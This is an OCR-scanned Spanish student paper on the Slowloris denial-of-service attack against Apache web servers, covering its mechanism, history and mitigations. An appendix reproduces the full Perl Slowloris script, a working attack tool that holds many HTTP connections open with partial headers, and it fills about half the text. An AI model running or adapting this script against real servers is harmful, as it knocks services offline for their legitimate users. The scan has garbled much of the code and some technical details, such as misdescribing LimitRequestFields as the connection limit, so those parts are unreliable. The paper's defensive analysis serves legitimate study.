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Resumen

Los ataques de denegacion de servicios
(DoS) como su nombre lo indica buscan
atacar uno de los tres pilares de la
seguridad, el cual es la disponibilidad de un
servicio, evitando que este pueda ser usado
por los reales usuarios de la aplicacion o
servicio. Este ataque esta en la categoria de
DoS debido a su comportamiento, pues la
intencion del mismo es evitar que las
sesiones de HTTP del servidor Apache se
desconecten, reduciendo con esto la
capacidad de usuarios conectados 'y
generando la denegacion buscada.

Introduccion

Es un ataque que afecta exclusivamente a los
servidores web Apache 1.X, Apache 2.X y
dhttpd, aprovechando una caracteristicas
propia de estos servidores que busca evitar
el consumo excesivo de memoria usando el
manejo de los procesos por medio de hilos.

Esta vulnerabilidad es detectada en el afio de
2005, la cual es explotada por medio de un
programa en perl creado por Robert Hansen
en Junio de 2009, donde consumiendo un
minimo de ancho de banda se logra
mantener activa una sesion el mayor tiempo
posible reduciendo la capacidad del servidor
web de atender el mas conexiones.

Este error es reportado por el equipo de
Apache en el BUG 47417, el 27 de Junio de
2009, explicando cuales son las versiones
afectadas y en que consiste el error. En el
reporte se informa cual es el funcionamiento
del sistema y el punto en que se evidencia el
error en la espera de la respuesta del cliente
para completar el encabezados del sistema.

Esta debilidad en el proceso de inicio en la
conexion es la que se aprovecha por parte

del script escrito en perl, que busca por
medio de una ataque lento ir consumiendo
simultdneamente la mayor cantidad posible
de conexiones permitidas en el servidor web
hasta lograr reducir el servicio al minimo de
conexiones posibles o leegar a denegar
completamente cualuier intento de conexion.

Debido a este objetivo el ataque es
catalogado en la rama lenta de los ataques de
denegacion de servicio, en donde el principal
objetivo no es tomar control o dafiar el
sistema sino reducir la disponibilidad del
servicio, en este caso se busca por medio del
consumo indiscriminado y mantenido de
recursos denegar el acceso a los sitios web
que se encuentren en este servidor.

Historia

Es denominado como un ataque de
denegacion de servicio més por su objetivo
que por su funcionamiento, ya que los
ataques de denegacion de  servicio
propiamente se ejecutan en la capa transporte
del modelo OSI. Slowloris funciona como un
ataque de inundacion de sefiales de
sincronismo sobre el puerto de HTTP (80)
pero en vez de usar sefiales de sincronismo
envia cientos de fragmentos de encabezados
de conexion tipo GET con unos intervalos de
tiempo determinados.

Nace aprovechando uno de los parametros
que Apache uso para mejorar y para
promocionar la efectividad en el manejo de
procesos de este servidor web, denominado
como trabajo con hilos permite que cada
solicitud de conexion realizada al servidor
sea manejada por un hilo independiente, lo
que aumenta la eficiencia en respuesta y
manejo de proceso del sistema.

Al detectar esto Robert Hansen en Junio de
2009, mas conocido como “Rsnake”, creo un
script escrito en perl que desde una maquina
usando un minimo de ancho de banda y sin
importar el puerto en el que el servicio se
configuro, este inicia el envid de tramas y



mantenimiento de las secciones con un
simpe comando,

Otra de las ventajas aprovechadas por este
ataque es la forma en la cual el sistema
registra sus eventos, ya que el sistema solo
genera el registro una ves el evento ha
terminado, debido a que este ataque
basicamente wusa el tiempo maximo
permitido para el establecimiento de Ia
conexion el sistema puede estar siendo
atacado durante un tiempo prolongado antes
que el sistema registre el primer evento y
una vez el ataque termine se registraran
cientos de errores de servidor en los
registros, evitando que un HIDS o IDS de
segunda generacion detecte el ataque
mientras este sucede.

Este ataque actualmente no tiene un método
de proteccion completamente efectivo pero
su efecto uede ser controlado, por medio de
una serie de modificaciones a los pardmetros
por defecto, usando los modulos de control
y/o usado programas de front — end de las
conexiones de este servicio.

Funcionamiento

La vulnerabilidad afecta todas las versiones
de Apache 1.X y 2.X, permitiendo con esto
ser un ataque de denegacion de servicio muy
efectivo al ser ejecutado.

Como se marco anteriormente es una rama
de la denegacion de servicios que con un
bajo uso de ancho de banda, busca generar
una inundaciéon de trafico en la red muy
sigilosa.

Lo primero que se debe establecer para
desarrollar este ataque es el tiempo de espera
de encabezados del servidor web, por
defecto viene codificado en 300 segundos,
por lo que se puede tomar este tiempo como
determinado, pues es muy raro el
administrador que lo modifica, no solo por
descuido sino por que basado en las
necesidades usuales del mercado este tiempo
es un buen estandar en la configuracion.

Una vez se tiene este tiempo se envia una
parte del encabezado de conexion al sistema,
la cual debe tener todos lo campos legitimos
de conexidn, asi como se ve en el reporte del

Bug por parte de Apache, y que a
continuacion se muestra

GET / HTTP/1.1\r\n

Host: host\r\n

User-Agent: Mozilla/4.0
(compatible; MSIE 7.0; Windows NT
5.1; Trident/4.0;

.NET CLR 1.1.4322; .NET CLR
2.0.50313; .NET CLR
3.0.4506.2152; .NET CLR
3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n

Una vez el servidor recibe este encabezado
abre el hilo de la conexion y se mantiene a la
espera de que el cliente complete los datos
del encabezado.

Para esto las herramientas actuales y
principalmente el script en Perl desarrollado
para este ataque, permite enviar lineas falsas
de encabezado para mantener la sesion activa
y el hilo de Apache aun ocupado, el
contenido de este envid puede ser lo
siguiente

X-a: b\r\n

Con esto mantenemos ocupado solo un hilo
de servidor, por lo que para que este ataque
sea efectivo es necesario realizar este mismo
proceso tantas veces se tenga configurado el
servidor Web su numero maximo de
conexiones.

Este campo en el servidor Apache es
denominado LimitRequestFields, el cual
puede ser de maximo 32767 pero por defecto
se encuentra configurado en 100.

Si se ataca un servidor que tenga todas las
configuraciones por defecto con la que esta
un sistema de Apache 2.0, se tiene un tiempo
de espera de 300 segundos, un limite de
conexiones de 100 y un encabezado de 512
bytes, se pueden enviar 100 paquetes de 5,10
bytes , lo que genera una ocupacion de 1500
segundos por cada hilo, cada que una
conexion caduca inmediatamente se inicia
una nueva, manteniendo ocupadas las
sesiones del servidor.

El creador del ataque escribié un script en
Perl que permite de una forma muy sencilla
ejecutar el ataque sin necesidad de tener un
amplio conocimiento del funcionamiento del



servidor web o del proceso del ataque. (Este
script se anexa al presente trabajo)

En Internet se puede apreciar el
funcionamiento de ese script en esta URL
http://www.youtube.com/watch?v=0jfY
RQ8IukE, donde se aprecia claramente
como las sesiones del servidor van siendo
ocupadas una a una hasta que el servidor no
tiene mas sesiones que ofrecer.

Ejemplos mas Notables

Aunque se presumen que muchos de los
ataques de denegacion de  servicio
efectuados en el ultimo afio sobre servidores
Apache son usando este mecanismo no todos
han sido probados, pero el caso mas notable
en el uso de este ataque se presento en las
elecciones presidenciales de Iran en el afio
2009.

Durante las protestas que genero el resultado
y desarrollo de las elecciones presidenciales
en Iran, se generaron multiples ataques a los
servidores del gobierno, que usan servidores
web Apache. En sus registros se encontraron
evidencias de retardos en la conexion del
encabezado, por lo que se puede determinar
que el exploit usado para este ataque fue el
script en Perl Solwloris.

Meétodo de Proteccion

En la actualidad no existe un método
completamente efectivo para evitar este
ataque, pero si existen distintas formas de
mitigar su accionar y con esto disminuir la
valoracion del riesgo que este ataque genera.

Uno de los primeros métodos de mitigacion
es realizar una configuracion diferente a la
por defecto en el servidor apache, lo cual
permite que el atacante tenga que determinar
el tiempo de vida de la conexion.

En la configuracion de Apache también es
posible  habilitar los modulos de
configuracion mod_evasive y mod_security,
los cuales sirven para limitar las conexiones
realizadas desde el mismo origen y para
denegar la respuesta cuando el trafico
presenta anomalias consecutivas.

Para la configuracion de Apache se tiene una
extensa documentacion el  website
www.apache.org donde la documentacion es
muy especifica y ayuda a resolver muchas
dudas sobre los parametros de configuracion
del sistema, para el caso especifico de un
ataque DoS se esta el documento
http://httpd.apache.org/docs/trunk/misc/s
ecurity_tips.html#dos, donde se indica
especificamente que pardmetros de la
configuracion nos sirven para controlar este
tipo de acciones. Estos parametros son los
siguientes

e  TimeOut

*  KeepAliveTimeout
. LimitRequest

. MaxClients

*  AcceptFilter

La correcta configuracion de estos
parametros permite mitigar el riesgo de un
ataque de DoS, més no es una configuracion
especifica para mitigar Slowloris.

La otra opcién de mitigacion que se presenta
es no usar a el Servidor Apache como font
end de las conexiones, sino que estas sean
manejadas por sistema de cache tipo nginx o
Varnishd, los cuales tienen caracteristicas
especificas en su configuracion para limitar
el numero de conexiones y para evitar los
tiempos largos en las cabeceras de HTTP.

Varnishd es una acelerador de conexiones
HTTP, que permitiria dentro de su
configuracion revisar la cabecera de
X Forwarded y con esto hacer ajustes en el
modulo mod_rpaf, reduciendo la posibilidad
de maultiples conexiones desde la misma IP.
No es tan sencillo de implementar pero
podria ser un método efectivo de mitigacion.

El NGinx es un servidor de proxy inverso de
alto rendimiento, que nos permite colocar un
front-end para el servicio web teniendo un
cache donde se almacenan las partes estaticas
del sitio. Este sistema permite un control mas
avanzado y detallado sobre los tiempos de
espera de las conexiones, evitando con esto
que una sesion se mantenga activa por un
tiempo prolongado. Adicionalmente como
las conexiones inicialmente buscan los datos
en cache evita que se ocupen hilos de
proceso en el servidor Apache que no sean
necesarios.



Conclusiones

El Slowloris es un ataque relativamente
reciente que aprovecha uno de los sistemas
de control de procesos de los servidores web
que usan hilos para por medio de estos
establecer sesiones al servidor y no permitir
que sean liberadas, esto genera una
denegacion de servicio pues con cada sesion
capturada se reduce el numero de
conexiones que el servidor puede atender
simultdineamente.

Es un ataque muy bien elaborado que
requiere un profundo conocimiento sobre el
funcionamiento de este tipo de servidores
por parte de la persona que lo disefio,
ademas de un alto manejo de Perl para la
creacion del script por medio del cual se
gjecuta y que esta en el anexo A.

Todos las versiones de Apache son
susceptibles y no existe una solucidon que
garantice que este ataque no sea efectivo,
pero existen varios métodos de mitigacion
que pueden garantizar que este ataque no va
a ser exitoso de una forma tan sencilla. Esto
aumenta conciderablemente el riesgo si se
tiene en cuenta que este servidor es uno de
los mas usados mundialmente y que contiene
plataformas de entidades muy reconocidas.

El desarrollo de este ataque demuestra como
el estudio detallado de un proceso o de un
servicio permite encontrar las debilidades
que se generan en el momento de su
desarrollo, permitiendo a los atacantes que
con una dedicacién bastante alta en el
estudio de estos procesos puedan usar estas
debilidades para crear ataques sobre este tipo
de servicios, siendo muy efectivos y dificiles
de controlar.
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#!/usr/bin/perl -w
use strict;

use IO0::Socket::INET;
use I0::Socket::SSL;
use Getopt::Long;

use Config;

$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors

print <<EOTEXT;
B[ 1m

CCCCCCCCCrcooccoo000888\@8\@88880000CC000888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@88800Cooocccc::::

CCCCCCeeeeecccconsss\@888888000CCCO000888888888888\@88888\@\@\@\@\@\@\@888\@800CCoococcC: ::
CCCCCCCCeeeecconss\@\@8888880000000000888888808888888808080008888\@88\@\@800C000Coc: :
CCCCo00000CCCO88\@\@8\@88\@8880000000888888888880000000000CCCCCO000888\@8888000Cc: :::
CooCoCo00CCCO8\@88\@88888880008888888888888888880000CCC00000000C€C0008888888Cocooc:
000000C0CCC88\@88888\@888008888888888888888080888800CCCoo000ccccccC000088\@8880Coccc
0000€C0080888888888\@8808008888800888088880000888880Cocoococ: :ccooC0080888888Co00
0oCCCCCC08000CCCO088\@880000008888088800000€008888808000Co0Cocc: ::coC00088888800CC
0CCCCCO000880C00C088\@800000088088888800CCCC0C0O0088880000000Coc: :::coCO0008880880C
0CCCC008800CCCCO08\@\@800C000008888888000cccccoC0808008800000Cc. : ccooCCO0008888800

CCC00008800CC0O008\@88800CC000C00888800cC::...::c000888880888000:cocooCCCCO00000880
CCC008888800C008\@\@8880Ccc:::cC008880c..... ....cC00000000000c. : coooo0CCCO00000000
0000008888800008\@8\@800c:.:...c008088c. . .co0008880000C00000ccoC00000C0O000
00000888\ @8\@8888888800:. . ...c08880c.. :0000000000CCo0c00Co0CoC0O0000000
€C000888\@8888888888800: . .08888C: .0CO0o. ...cCCCOOOoooo00OCCCO0000000CCCOO

CCCC00B888888088888800. .0800. .c08800: :. .:..ccoCCCooCooccooccccoooooCCCC
coooCC08\@88008088800:::... .. :c080c. . ..... :. .:ccCoooooccoooocccccooooCCC
:cco000C08880000800c..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
.:::co00ccco08000000C:..::....coC08\@B00CCOC:... ....:ccoo00cCCCC:::::::::co00000C
....:1::1:ccccoCCO0000CC......:0C08\@8\@880CCCoccccc::c::.:0Ccc:::ccCcC:..::::CO00000
wveea...iiiiiicCCCCCCOOCC:c0888\@88880000C000C00CC::.:cOCC::CC:::...:1:COOCCCCCC

tiiiiea....ii1..coCCCCCCCO88B00008000CCOOCCCOOCCC: i iCcCCrrtstt. ... .2 CCOCCCC:CO

eieiraaeeneiie...:0CC00000C00CCOCCCOCCOCOCC:::::COC i vuruens +..i1:CCCC:COO0

.................. .€00Cc000CCOCO:::CCCCCCC:::CCC v vnrnrnn wa.ainicCiiiicoC

.:cccoCooc:.. ::cccc:::c: C i iiiaaa. aa....iliicCcicccco

B of o Yo Lol of o of of of o3t o of o e Yol @

L IICCCC:.1i1CCO0CC: . vuvrnnnnnns LL.iiiLiiiiiiiccco

EZ[31m

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
B4[m
EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(

'shost=s" => \$shost,
'dns=s' => \$host,
"httpready' => \$httpready,
"num=i" => \$connections,
'cache’ => \$cache,
'port=i' => \$port,
"https' => \$ssl,
"tcpto=i' => \$tcpto,
"test' => \$test,
"timeout=i' => \$timeout,
'version' => \$version,

);

if ($version) {
print "Version 0.7\n";
exit;

}

unless ($host) {
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
print "\n\tType 'perldoc $0' for help with options.\n\n";
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exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";

unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";

}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;

}
else {
print "No multithreading capabilites found!\n";
print "Slowloris will be slower than normal as a result.\n";
}
my $packetcount : shared = 0;
my $failed : shared =0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {

$sendhost = $shost;
}
else {

$sendhost = $host;

}
if ($httpready) {
$method = "POST";

}
else {

$method = "GET";
}

if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;

¥
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";

my $delay
my $working
my $sock;

0;
0;
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if ($ssl) {
if (
$sock = new IO::
PeerAddr =>
PeerPort =>
Timeout =>
Proto =>

$working = 1;

}
}
else {
if (
$sock = new I0:
PeerAddr =>
PeerPort =>
Timeout =>
Proto =>
)
)
{
$working = 1;
}

}
if ($working) {
if ($cache) {

$rand = "?" ., int( rand(99999999999999) );

}
else {

$rand = "";
}

my $primarypayload =
"GET /$rand HTTP
"Host: $sendhost

"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;
; .NET CLR 3.0.4506.2152;

1.1.4322; .NET CLR 2.0.50313
"Content-Length:
if ( print $sock $pr

print "Connection successful, now comes the waiting game...\n";

else {
print

"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";

print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";

exit;
}
}
else {
exit;
b

for (my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";

sleep( $times[$i] );

Socket: :SSL(
||$host|| ,
Il$p0rtll ,
"$tcpto”,
Iltcpll ,

:Socket: : INET(

"$host",
"$port",
"$tcpto",
"tcp",

/1.1\r\n"
\r\n"

42\r\n";
imarypayload ) {

if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];

}

else {

if ( $SIG{ WARN 1} ) {
$delay = $times[ $i - 1 ];

last;

.NET CLR
.NET CLR 3.5.30729; MSOffice 12)\r\n"
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print "\tFailed after $times[$i] seconds.\n";

}

if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Slowloris closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;

}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;

Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... vyou might have trouble using Slowloris against this target. You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU

}
}
else {

print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

if ($usemultithreading) {
domultithreading($connections);

}
else {

doconnections( $connections, $usemultithreading );
}

sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;

$working[$_1 = O foreach 2 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {

$failedconnections = 0;

print "\t\tBuilding sockets.\n";

foreach my $z ( 1 .. $num ) {

if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO0::Socket::SSL(

PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",

Proto = "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (

$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
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PeerPort => "$port",
Timeout => "$tcpto",

Proto = "tcp",
)
)

{

$working[$z] = 1;

$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {

$working[$z] = O;
}

}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" , int( rand(99999999999999) );

}
else {

$rand = "";
}

my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
"Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET
CLR 1.1.4322; .NET CLR 2.0.50313; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
"Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{ WARN } ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;

}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = O;
$failed++;
$failedconnections++;
}

}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1) {
if ( $sock[s$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = O;
#debugging info
$failed++;
$failedconnections++;
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}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
} .
print

"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for
$timeout seconds...\n\n";
sleep($timeout);
}

}

sub domultithreading {

my ($num) = @_;

my @thrs;

my $i

my $connectionsperthread

while ( $i < $num ) {
$thrs[$1i] =

threads->create( \&doconnections, $connectionsperthread, 1 );

$i += $connectionsperthread;

0;
50;

}

my @threadslist = threads->list();

while ( $#threadslist > 0 ) {
$failed = 0;

}

__END__



